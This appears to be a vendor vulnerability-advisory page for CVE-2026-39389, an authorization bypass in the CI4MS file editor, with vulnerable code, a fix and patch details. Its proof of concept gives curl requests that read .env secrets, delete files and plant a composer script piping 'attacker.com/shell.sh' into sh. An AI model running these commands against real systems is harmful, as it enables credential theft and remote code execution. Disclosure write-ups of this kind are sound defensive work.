CVE-2026-39389 — ci4-cms-erp/ci4ms
MEDIUMCVE-2026-39389 is a medium-severity (CVSS 6.7) CWE-285 vulnerability in ci4-cms-erp/ci4ms. A fix is available for ci4-cms-erp/ci4ms — see the affected versions and patch details below.
CI4MS has a Hidden Items Authorization Bypass in Fileeditor Allows Reading Secrets and Writing Protected Files
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39389.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-39389 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Fileeditor controller defines a hiddenItems array containing security-sensitive paths (.env, composer.json, vendor/, .git/) but only enforces this protection in the listFiles() method. The readFile(), saveFile(), deleteFileOrFolder(), renameFile(), createFile(), and createFolder() endpoints perform no hidden items validation, allowing direct API access to files that are intended to be protected. A backend user with only fileeditor.read permission can exfiltrate application secrets from .env, and a user with fileeditor.update permission can overwrite composer.json to achieve remote code execution.
Details
The hiddenItems array is defined at modules/Fileeditor/Controllers/Fileeditor.php:10-26:
protected $hiddenItems = [
'.git', '.github', '.idea', '.vscode',
'node_modules', 'vendor', 'writable',
'.env', 'env', 'composer.json', 'composer.lock',
'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];
This array is checked only in listFiles() at lines 45-48 and 64:
// Line 45-48 - path component check
foreach ($pathParts as $part) {
if (in_array($part, $this->hiddenItems)) {
return $this->failForbidden();
}
}
// Line 64 - directory listing filter
if (in_array($name, $this->hiddenItems)) continue;
However, readFile() (line 76) performs neither a hiddenItems check nor an allowedFileTypes() check:
public function readFile()
{
// ... validation ...
$path = $this->request->getVar('path');
$fullPath = realpath(ROOTPATH . $path);
if (!$fullPath || !is_file($fullPath) || strpos($fullPath, realpath(ROOTPATH)) !== 0) {
return $this->response->setJSON(['error' => '...'])->setStatusCode(400);
}
return $this->response->setJSON(['content' => file_get_contents($fullPath)]);
}
This means any file within ROOTPATH — regardless of extension (.php, .env, etc.) — can be read by any user with the fileeditor.read permission.
Similarly, saveFile() (line 92) checks allowedFileTypes() but not hiddenItems. Since json is in $allowedExtensions, composer.json (which is explicitly in hiddenItems) can be overwritten:
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];
deleteFileOrFolder() (line 194) checks neither hiddenItems nor allowedFileTypes().
Compounding factor: CSRF protection is disabled for all fileeditor routes in modules/Fileeditor/Config/FileeditorConfig.php:7-10:
public $csrfExcept = [
'backend/fileeditor',
'backend/fileeditor/*',
];
This means the write and delete operations are additionally vulnerable to cross-site request forgery if an authenticated user visits a malicious page.
PoC
Requires an authenticated backend session with fileeditor.read permission granted.
Step 1: Read .env file to extract secrets
curl -s -b 'ci_session=<valid_session_cookie>' \
'https://target.com/backend/fileeditor/read?path=/.env'
Expected response: JSON containing .env file contents including database credentials, encryption keys, and other secrets.
Step 2: Read PHP configuration files
curl -s -b 'ci_session=<valid_session_cookie>' \
'https://target.com/backend/fileeditor/read?path=/app/Config/Database.php'
Expected response: Full database configuration PHP source with credentials (note: readFile() has no allowedFileTypes check, so .php files are readable).
Step 3: Overwrite composer.json for RCE (requires fileeditor.update permission)
curl -s -b 'ci_session=<valid_session_cookie>' \
-X POST 'https://target.com/backend/fileeditor/save' \
-d 'path=/composer.json' \
-d 'content={"scripts":{"post-install-cmd":"curl attacker.com/shell.sh|sh"}}'
The next composer install or composer update executes the attacker's script.
Step 4: Delete .env (requires fileeditor.delete permission)
curl -s -b 'ci_session=<valid_session_cookie>' \
-X POST 'https://target.com/backend/fileeditor/deleteFileOrFolder' \
-d 'path=/.env'
Impact
- Credential disclosure: Any backend user with
fileeditor.readpermission can read.env(database passwords, encryption keys, API secrets, mail credentials) and any PHP configuration file regardless of extension restrictions. - Remote code execution: A user with
fileeditor.updatepermission can overwritecomposer.jsonwith malicious composer scripts that execute on the nextcomposer install/update. - Denial of service: A user with
fileeditor.deletepermission can delete.envor other critical configuration files, causing application failure. - False security boundary: Administrators who configure
fileeditor.readas a limited permission for content editors are unknowingly granting access to all application secrets, since thehiddenItemsprotection only affects the UI file tree, not the API.
Recommended Fix
Apply hiddenItems validation to all endpoints that accept a path parameter. Extract the check into a reusable method and also add allowedFileTypes to readFile():
// Add this method to the Fileeditor controller
private function isHiddenPath(string $path): bool
{
$pathParts = explode('/', trim($path, '/'));
foreach ($pathParts as $part) {
if (in_array($part, $this->hiddenItems)) {
return true;
}
}
return false;
}
// Then add to readFile(), saveFile(), renameFile(), createFile(),
// createFolder(), and deleteFileOrFolder():
if ($this->isHiddenPath($path)) {
return $this->failForbidden();
}
// Additionally, add allowedFileTypes check to readFile():
if (!$this->allowedFileTypes($fullPath)) {
return $this->failForbidden();
}
Also re-enable CSRF protection by removing the CSRF exemption in FileeditorConfig.php (lines 7-10) and ensuring the frontend sends CSRF tokens with requests.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.4.0composer require ci4-cms-erp/ci4ms:^0.31.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update ci4-cms-erp/ci4ms to 0.31.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39389 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-39389 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-39389. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-39389 in your dependencies?
O3 Security finds CVE-2026-39389 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.